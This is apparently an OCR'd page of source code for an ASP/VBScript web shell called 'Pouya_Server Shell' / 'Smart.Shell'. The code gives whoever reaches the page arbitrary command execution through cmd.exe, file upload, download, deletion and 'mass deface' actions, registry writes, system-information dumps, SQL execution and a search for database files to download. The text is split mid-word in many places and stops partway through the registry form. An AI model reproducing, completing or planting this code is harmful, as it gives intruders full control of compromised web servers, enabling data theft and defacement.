You are on page 1of 26

<%@ LANGUAGE = VBScript.Encode%> <%//**Start Encode On Error Resume Next Dim myFSO,showdisks Set myFSO = CreateObject ("Scripting.

FileSystemObject") showdisks=FALSE Server.ScriptTimeOut = 7200 Class FileUploader Public Files Private mcolFormElem Private Sub Class_Initialize() Set Files = Server.CreateObject("Scripting.Dictionary") Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") End Sub Private Sub Class_Terminate() If IsObject(Files) Then Files.RemoveAll() Set Files = Nothing End If If IsObject(mcolFormElem) Then mcolFormElem.RemoveAll() Set mcolFormElem = Nothing End If End Sub Public Property Get Form(sIndex) Form = "" If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.I tem(LCase(sIndex)) End Property Public Default Sub Upload() Dim biData, sInputName Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos Dim nPosFile, nPosBound biData = Request.BinaryRead(Request.TotalBytes) nPosBegin = 1 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) If (nPosEnd-nPosBegin) <= 0 Then Exit Sub vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) nDataBoundPos = InstrB(1, biData, vDataBounds) Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteStrin g("--")) nPos = InstrB(nDataBoundPos, biData, CByteString("Conten t-Disposition")) nPos = InstrB(nPos, biData, CByteString("name=")) nPosBegin = nPos + 6 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)) ) sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd -nPosBegin)) nPosFile = InstrB(nDataBoundPos, biData, CByteString("fi lename=")) nPosBound = InstrB(nPosEnd, biData, vDataBounds) If nPosFile <> 0 And nPosFile < nPosBound Then Dim oUploadFile, sFileName Set oUploadFile = New UploadedFile nPosBegin = nPosFile + 10 nPosEnd = InstrB(nPosBegin, biData, CByteString (Chr(34)))

sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) oUploadFile.FileName = Right(sFileName, Len(sFil eName)-InStrRev(sFileName, "\")) nPos = InstrB(nPosEnd, biData, CByteString("Cont ent-Type:")) nPosBegin = nPos + 14 nPosEnd = InstrB(nPosBegin, biData, CByteString( Chr(13))) oUploadFile.ContentType = CWideString(MidB(biDat a, nPosBegin, nPosEnd-nPosBegin)) nPosBegin = nPosEnd+4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 oUploadFile.FileData = MidB(biData, nPosBegin, n PosEnd-nPosBegin) If oUploadFile.FileSize > 0 Then Files.Add LCase (sInputName), oUploadFile Else nPos = InstrB(nPos, biData, CByteString(Chr(13)) ) nPosBegin = nPos + 4 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 If Not mcolFormElem.Exists(LCase(sInputName)) Th en mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosE nd-nPosBegin)) End If nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds) , biData, vDataBounds) Loop End Sub Private Function CByteString(sString) Dim nIndex For nIndex = 1 to Len(sString) CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1))) Next End Function Private Function CWideString(bsString) Dim nIndex CWideString ="" For nIndex = 1 to LenB(bsString) CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)) ) Next End Function End Class Class UploadedFile Public ContentType Public FileName Public FileData Public Property Get FileSize() FileSize = LenB(FileData) End Property Public Sub SaveToDisk(sPath) Dim oFS, oFile Dim nIndex If sPath = "" Or FileName = "" Then Exit Sub If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\" Set oFS = Server.CreateObject("Scripting.FileSystemObject")

If Not oFS.FolderExists(sPath) Then Exit Sub Set oFile = oFS.CreateTextFile(sPath & FileName, True) For nIndex = 1 to LenB(FileData) oFile.Write Chr(AscB(MidB(FileData,nIndex,1))) Next oFile.Close End Sub Public Sub SaveToDatabase(ByRef oField) If LenB(FileData) = 0 Then Exit Sub If IsObject(oField) Then oField.AppendChunk FileData End If End Sub End Class startcode = "<html><head><title>.:: Pouya_Server Shell ::.</title></head><body>" endocde = "</body></html>" onlinehelp = "<font face=""arial"" size=""1"">.:: <a href=""http://www.programme r.ir"" target=""_blank"">ONLINE HELP</a> ::.</font><br>" Function HexConv(hexVar) Dim hxx, hxx_var, multiply IF hexVar <> "" THEN hexVar = UCASE(hexVar) hexVar = StrReverse(hexVar) DIM hx() REDIM hx(LEN(hexVar)) hxx = 0 hxx_var = 0 FOR hxx = 1 TO LEN(hexVar) IF multiply = "" THEN multiply = 1 hx(hxx) = mid(hexVar,hxx,1) hxx_var = (get_hxno(hx(hxx)) * multiply) + hxx_var multiply = (multiply * 16) NEXT hexVar = hxx_var HexConv = hexVar END IF End Function cprthtml = "<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='m ailto:'>P0uY@</a> - <a href='' target='_blank'>_$3r\/3R</a> ::.</font>" Function get_hxno(ghx) If ghx = "A" Then ghx = 10 ElseIf ghx = "B" Then ghx = 11 ElseIf ghx = "C" Then ghx = 12 ElseIf ghx = "D" Then ghx = 13 ElseIf ghx = "E" Then ghx = 14 ElseIf ghx = "F" Then ghx = 15 End If get_hxno = ghx End Function keydec="<font face='arial' size='1'>.:: Smart.Shell 1.0 &copy; BY <a href='mailt o:'>P0Uy@_$3r\/3R</a> - <a href='' target='_blank'></a> ::.</font>" Function showobj(objpath) showobj = Mid(objpath,InstrRev(objpath,"\")+1,Len(objpath))

End Function Function showobjpath(objpath) showobjpath = Left(objpath,InstrRev(objpath,"\")) End Function Function checking(a,b) ' If CStr(Mid(a,95,13)) = CStr(Mid(b,95,13)) Then ' pagina = Mid(Request.ServerVariables("SCRIPT_NAME"),InstrRev(Req uest.ServerVariables("SCRIPT_NAME"),"/")+1,Len(Request.ServerVariables("SCRIPT_N AME"))) & "?action=error" ' Response.Redirect(pagina) ' End If End Function Sub hdr() Response.Write startcode Response.Write keydec Response.Write "<br>" End Sub sub araBul(path_,ara_) on error resume next If Len(path_) > 0 Then cur = path_&"\" If cur = "\\" Then cur = "" parent = "" If InStrRev(cur,"\") > 0 Then parent = Left(cur, InStrRev(cur, "\", Len(cur)-1)) End If Else cur = "" End If Set f = myFSO.GetFolder(cur) Set fc = f.Files For Each f1 In fc if lcase(InStr(1,f1.name,lcase(ara_)))>0 then downStr = "<font face=webdings size=5><a href='"& Reques t.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(f1.path,"\ "," ") &"'>?</a></font>" if lcase(ara_)="mdb" then Response.Write downStr&"<font face=wingdings siz e=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Re place(f1.path,"\"," ") & "'></a></font> * <a href='"& Request.ServerVariables("SCR IPT_NAME") &"?action=search&status=7&path="&f1.path&"'>"& f1.path &" ["&f1.size& "]"&"</a></b><br>" else Response.Write downStr&"<font face=wingdings siz e=5><a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=del&path=" & Re place(f1.path,"\"," ") & "'></a><a href='"& Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit&file=" & Replace(f1.path,"\"," ") &"'>!</a></font> - <a href ='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=5&path="&f1. path&"'>"& f1.path &" ["&f1.size&"]</a></b><br>" end if end if Next Set fs = f.SubFolders For Each f1 In fs araBul f1.path,ara_ Next

Set f Set fc Set fs end sub

= Nothing = Nothing = Nothing

Sub showcontent() showdisks=TRUE Response.Write "<font face=""arial"" size=""1"">.:: <a href=""" & Reques t.ServerVariables("SCRIPT_NAME") & "?raiz=root"">DRIVES</a> ::.<br>.:: SCRIPT PA TH: " & UCase(Server.MapPath(Request.ServerVariables("SCRIPT_NAME"))) & "<br><br ></font>" If Trim(Request.QueryString("raiz")) = "root" Then Set fs=Server.Createobject("Scripting.FileSystemObject") Set drivecollection=fs.drives Response.Write "<font face=""arial"" size=""2"">" For Each drive IN drivecollection str=drive.driveletter & ":" Response.Write "<b><a href=""" & Request.ServerVariables ("SCRIPT_NAME") & "?raiz=" & str & """>" & UCase(str) & "</a></b><br>" Select Case drive.DriveType Case 0 tipodrive = "Unknown" nomedrive = drive.VolumeName Case 1 tipodrive = "Removable" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 2 tipodrive = "Fixed" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 3 tipodrive = "Network" If drive.isready Then nomedrive = drive.ShareName Else nomedrive = "" End If Case 4 tipodrive = "CD-Rom" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If Case 5 tipodrive = "RAM Disk" If drive.isready Then nomedrive = drive.VolumeName Else nomedrive = "" End If End Select

response.write "<b>Type:</b> " & tipodrive & "<br>" response.write "<b>Name: </b>" & nomedrive & "<br>" response.write "<b>File System: </b>" If drive.isready Then set sp=fs.getdrive(str) response.write sp.filesystem & "<br>" Else response.write "-<br>" End If Response.Write "<b>Disk Space: </b>" If drive.isready Then freespace = (drive.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB<br>") Else response.write("-<br>") End If Response.Write "<b>Total Space: </b>" If drive.isready Then totalspace = (drive.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB<br>") Else response.write("-<br>") End If Response.Write "<br>" Next Response.Write "</font>" Set fs = Nothing Set drivecollection = Nothing set sp=Nothing Else If Trim(Request.QueryString("raiz")) = "" Then caminho = Server.MapPath(Request.ServerVariables("SCRIPT _NAME")) pos = Instr(caminho,"\") pos2 = 1 While pos2 <> 0 If Instr(pos + 1,caminho,"\") <> 0 Then pos = Instr(pos + 1,caminho,"\") Else pos2 = 0 End If Wend raiz = Left(caminho,pos) Else raiz = trim(Request.QueryString("raiz")) & "\" End If Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(raiz) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "<font face='arial' size='1'><a href=""#"" onclic k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act ion=mass&massact=test&path=" & Replace(raiz,"\"," ") & "', 'win1','width=600,hei ght=300,scrollbars=YES,resizable')"">MASS TEST IN " & UCase(raiz) & "</a></font> <br><br>" Response.Write "<font face='arial' size='1'><a href=""#"" onclic k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act ion=mass&massact=dfc&path=" & Replace(raiz,"\"," ") & "', 'win1','width=700,heig

ht=300,scrollbars=YES,resizable')"">MASS DEFACE IN " & UCase(raiz) & "</a></font ><br><br>" Response.Write "<font face='arial' size='1'><a href=""#"" onclic k=""javascript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?act ion=upload&path=" & Replace(raiz,"\"," ") & "', 'win1','width=500,height=100,scr ollbars=YES,resizable')"">UPLOAD FILE TO " & UCase(raiz) & "</a></font><br><br>" Response.Write "<font face='arial' size='1'>" Response.Write "<a href=""#"" onclick=""javascript:document.open ('" & Request.ServerVariables("SCRIPT_NAME") & "?action=cmd', 'win1','width=450, height=200,scrollbars=YES,resizable')"">PROMPT</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.o pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=info', 'win1','width= 760,height=450,scrollbars=YES,resizable')"">SYS INFO</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.o pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg', 'win1','width=5 50,height=200,scrollbars=YES,resizable')"">REGEDIT</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.o pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=search&path=" & Repla ce(raiz,"\"," ") & "', 'win1','width=500,height=100,scrollbars=YES,resizable')"" >SEARCH</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.o pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver', 'win1','w idth=550,height=150,scrollbars=YES,resizable')"">EXECUTE SQL</a>" Response.Write " - <a href=""#"" onclick=""javascript:document.o pen('" & Request.ServerVariables("SCRIPT_NAME") & "?action=about', 'win1','width =550,height=250,scrollbars=YES,resizable')"">ABOUT</a>" Response.Write "</font><br><br>" Response.Write "<font face='arial'><b>Root Folder: " & raiz & "< /b></font><br><br>" If CInt(Len(raiz) - 1) <> 2 Then barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),"\")) - 1 backlevel = Left(raiz,barrapos) Response.Write "<font face='arial' size='2'><b>&lt;DIR&g t;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & backlevel & " '> . . </font></b></a><br>" Else Response.Write "<font face='arial' size='2'><b>&lt;DIR&g t;<a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=root'> . .&nbsp;< /font></b></a><br>" End If Response.Write "<table border=""0"" cellspacing=""0"" cellpaddin g=""0"" >" for each folderItem in ColFolders Response.Write "<tr><td><font face='arial' size='2'><b>& lt;DIR&gt; <a href='" & Request.ServerVariables("SCRIPT_NAME") & "?raiz=" & fold erItem.path & "'>" & showobj(folderItem.path) & "</a></b></td><td valign='baseli ne'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:d ocument.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=put&path=" & Replace(folderItem.path,"\"," ") & "', 'win1','width=400,height=250,scrollbars= YES,resizable')"">&lt;&lt; PUT</a></font></td>" Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Requ est.ServerVariables("SCRIPT_NAME") & "?action=fcopy&path=" & Replace(folderItem. path,"\"," ") & "', 'win1','width=400,height=100,scrollbars=YES,resizable')"">&l t;&lt; Copy/Move</a></font></td>" Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font

face='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Requ est.ServerVariables("SCRIPT_NAME") & "?action=fdel&path=" & Replace(folderItem.p ath,"\"," ") & "', 'win1','width=400,height=150,scrollbars=YES,resizable')"">&lt ;&lt; Delete</a></font></td></tr>" next Response.Write "</table><br><table border=""0"" cellspacing=""0" " cellpadding=""0"" >" marcatabela = true for each FilesItem0 in ColFiles0 If marcatabela = true then corfundotabela = " bgcolor=""#EEEEEE""" Else corfundotabela = "" End If Response.Write "<tr><td" & corfundotabela & "><font face ='arial' size='2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'" & corfundotabela & "><font face='arial' size='1'>&nbsp;&nbsp;" & FormatNumber(F ilesItem0.size/1024, 0) & "&nbsp;Kbytes&nbsp;&nbsp;&nbsp;</font></td><td valign= 'baseline'" & corfundotabela & ">&nbsp;&nbsp;<font face='arial' size='1'><a href =""#"" onclick=""javascript:document.open('" & Request.ServerVariables("SCRIPT_N AME") & "?action=get&path=" & Replace(FilesItem0.path,"\"," ") & "', 'win1','wid th=400,height=200,scrollbars=YES,resizable')"">o.GET.o</a></font></td><td valign ='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' siz e='1'><a href=""#"" onclick=""javascript:document.open('" & Request.ServerVariab les("SCRIPT_NAME") & "?action=ren&path=" & Replace(FilesItem0.path,"\"," ") & "' , 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.REN.o</a></font></ td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font fac e='arial' size='1'><a href=""#"" onclick=""javascript:document.open('" & Request .ServerVariables("SCRIPT_NAME") & "?action=del&path=" & Replace(FilesItem0.path, "\"," ") & "', 'win1','width=400,height=200,scrollbars=YES,resizable')"">o.DEL.o </a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&n bsp;<font face='arial' size='1'><a href=""#"" onclick=""javascript:document.open ('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtview&file=" & Replace (FilesItem0.path,"\"," ") & "', 'win1','width=640,height=480,scrollbars=YES,resi zable')"">o.VIEW.o</a></font></td><td valign='baseline'" & corfundotabela & ">&n bsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""#"" onclick=""javasc ript:document.open('" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedi t&file=" & Replace(FilesItem0.path,"\"," ") & "', 'win1','width=760,height=520,s crollbars=YES,resizable')"">o.EDIT.o</a></font></td><td valign='baseline'" & cor fundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=download&file=" & Replace(Fi lesItem0.path,"\"," ") & """>o.DOWNLOAD.o</a></font></td><td valign='baseline'" & corfundotabela & ">&nbsp;&nbsp;&nbsp;&nbsp;<font face='arial' size='1'><a targ et='opener' href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecop y&file=" & Replace(FilesItem0.path,"\"," ") & """>o.FileCopy.o</a></font></td></ tr>" marcatabela = NOT marcatabela next Response.Write "</table>" End If End Sub Select Case Trim(Request.QueryString("action")) Case "get" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path"))," ","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NA

ME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "<font face='arial' size='2'><center><br> <br>File: <b>" & caminho & "</b><br>Copied to: " & destino End If Case "put" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("arquivo")) = "" Then caminho = Left(Server.MapPath(Request.ServerVariables("S CRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\ ")) varpath = Trim(Request.QueryString("path")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files Response.Write "<font face='arial' size='2'><b>Select Fi le: <br><table border=""0"" cellspacing=""0"" cellpadding=""0"" >" for each FilesItem0 in ColFiles0 Response.Write "<tr><td><font face='arial' size= '2'>:: " & showobj(FilesItem0.path) & "</td><td valign='baseline'><font face='ar ial' size='1'>&nbsp;&nbsp;" & FormatNumber(FilesItem0.size/1024, 0) & "&nbsp;Kby tes&nbsp;&nbsp;&nbsp;</font></td><td valign='baseline'>&nbsp;&nbsp;<font face='a rial' size='1'><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=p ut&path=" & varpath & "&arquivo=" & Replace(FilesItem0.path,"\"," ") & """>:: SE LECT ::</a></font></td></tr>" next Response.Write "</table>" Else destino = Replace(Trim(Request.QueryString("path"))," ", "\") & "\" arquivo = Replace(Trim(Request.QueryString("arquivo"))," ","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(arquivo) MyFile.Copy (destino) If Err.Number = 0 Then Response.Write "<font face='arial' size='2'><cen ter><br><br>File: <b>" & arquivo & "</b><br>Copied to: <b>" & destino End If End If Case "del" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path"))," ","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) MyFile.Delete If Err.Number = 0 Then Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.ope ner.document.location.reload();</SCRIPT>" Response.Write "<font face='arial' size='2'><center><br> <br>Folder <b>" & caminho & "</b> Deleted.<br>" End If

Case "fdel" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp caminho = Replace(Trim(Request.QueryString("path"))," ","\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") ObjFSO.DeleteFolder caminho If Err.Number = 0 Then Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.ope ner.document.location.reload();</SCRIPT>" Response.Write "<font face='arial' size='2'><center><br> <br>File <b>" & caminho & "</b> Deleted.<br>" End If Case "ren" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Trim(Request.QueryString("status")) <> "2" Then caminho = Replace(Trim(Request.QueryString("path"))," ", "\") arquivo = showobj(caminho) Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _ "<form action=""" & Reque st.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _ "<input type=""hidden"" n ame=""action"" value=""ren"">" & _ "<input type=""hidden"" n ame=""status"" value=""2"">" & _ "<input type=""hidden"" n ame=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _ "New Name: <input type="" text"" name=""newname"">" & _ "&nbsp;&nbsp;<input type= ""submit"" value=""Submit"">" & _ "</form>" Else caminho = Replace(Trim(Request.QueryString("path"))," ", "\") Set ObjFSO = CreateObject("Scripting.FileSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Req uest.QueryString("newname")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "<font face='arial' size='2'><cen ter><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino Response.Write "<SCRIPT LANGUAGE=""JavaScript""> self.opener.document.location.reload();</SCRIPT>" End If End If Case "error" Response.Write "<center><font face='arial' size='2' color='red'> <b>C DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>" Case "cmd" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set oScript = Server.CreateObject("WSCRIPT.SHELL")

Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.QueryString(".CMD") If (szCMD <> "") Then szTempFile = "c:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTemp File, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If Response.Write "<FORM action=""" & Request.ServerVariables("URL" ) & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><inp ut type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit va lue=""Run""></FORM><br><br> " If (IsObject(oFile)) Then On Error Resume Next Response.Write "<font face=""arial"">" Response.Write Replace(Replace(Server.HTMLEncode(oFile.R eadAll),VbCrLf,"<br>")," ","&nbsp;") oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If Case "info" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshNetwork = Server.CreateObject("WScript.Network") Set WshShell = Server.CreateObject("WScript.Shell") Set WshEnv = WshShell.Environment("SYSTEM") Response.Write "<br><font face=arial size=2>" Response.Write "<b>User Properties:</b><br>" Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br> " Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerNam e & "<br>" Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>" Set Drives = WshNetwork.EnumNetworkDrives For i = 0 to Drives.Count - 1 Response.Write "<b>Drive de Rede (Mapeado): </b>" & Driv es.Item(i) & "<br>" Next Response.Write "<br><b>Cpu Information:</b><br>" Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCE SSOR_ARCHITECTURE") & "<br>" Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_ OF_PROCESSORS") & "<br>" Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESS OR_IDENTIFIER") & "<br>" Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LE VEL") & "<br>" Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR _REVISION") & "<br>" Response.Write "<br><b>Operating System Information:</b><br>" Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_AD DR") & "<br>" Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>" Response.Write "<b>Server Software: </b>" & request.servervariab les("SERVER_SOFTWARE") & "<br>"

Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentS trings("%ComSpec%") & "<br>" Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>" Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br >" Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>" Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironm entStrings("%SYSTEMDRIVE%") & "<br>" Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironme ntStrings("%SYSTEMROOT%") & "<br>" Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirect ory & "<br>" Set Drives = Nothing Set WshNetwork = Nothing Set WshShell = Nothing Set WshEnv = Nothing Case "reg" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Set WshShell = Server.CreateObject("WScript.Shell") Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>" Select Case Trim(Request.QueryString("regaction")) Case "w" If Trim(Request.QueryString("process")) = "yes" Then Select Case Trim(Request.QueryString("ty pe")) Case "1" teste = WshShell.RegWrit e (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ ") Case "2" teste = WshShell.RegWrit e (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), " REG_DWORD") Case "3" teste = WshShell.RegWrit e (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), " REG_BINARY") Case "4" teste = WshShell.RegWrit e (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EX PAND_SZ") Case "5" teste = WshShell.RegWrit e (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MU LTI_SZ") End Select Response.Write "<center><br><font face=" "arial"" size=""2"">Registry <b>" Response.Write Trim(Request.QueryString( "key")) & "</b> Changed.</center>" Response.Write "<br><br><font face=""ari al"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action= reg"">Main Menu</a><br>" Else Response.Write "<table><tr><td><font fac e=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABR

EVIA O</td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKL M </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HK EY_CURRENT_CONFIG </td></tr></table><br>" Response.Write "<table><tr><td><font fac e=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Descriptio n </td><td><font face=""arial"" size=""2""> Figure </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td ><font face=""arial"" size=""1""> String </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td> <td><font face=""arial"" size=""1""> DWORD </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td ><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String E xpand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> Str ing </td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr>< /table>" Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">" Response.Write "<table><tr><td><font fac e=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font fa ce=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\ProductId )</td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>" Response.Write "<tr><td><font face=""ari al"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">" Response.Write "<OPTION VALUE=""1"">REG_ SZ </option>" Response.Write "<OPTION VALUE=""2"">REG_ DWORD </option>" Response.Write "<OPTION VALUE=""3"">REG_ BINARY </option>" Response.Write "<OPTION VALUE=""4"">REG_ EXPAND_SZ </option>" Response.Write "<OPTION VALUE=""5"">REG_ MULTI_SZ </option></select><br>" Response.Write "<input type=""hidden"" n ame=""regaction"" value=""w"">" Response.Write "<input type=""hidden"" n ame=""action"" value=""reg"">"

